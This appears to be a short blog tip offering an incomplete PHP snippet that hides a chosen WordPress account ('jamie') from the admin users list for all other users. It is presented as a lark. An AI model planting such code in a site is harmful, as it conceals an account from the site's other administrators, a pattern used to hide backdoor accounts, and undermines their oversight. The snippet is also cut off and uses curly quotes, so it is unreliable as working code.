Make yourself invisible

Want to hide yourself from the users list in the WordPress admin. It’s pretty quick and easy. There are lots of reasons you might want to do this. I won’t expand on that anymore but I’m sure you can have fun with it!

* Remove username from user users list.
* Call the function when your plugin/theme is activated.
function srh_pre_user_query($user_search) {

// Get global user details
global $current_user;

$username = $current_user->user_login;

// Check for username
if ( ‘jamie’ != $username ) {

global $wpdb;
$user_search->query_where = str_replace(‘WHERE 1=1’,
"WHERE 1=1 AND {$wpdb->users}.user_login != ‘jamie’",$user_search->query_where);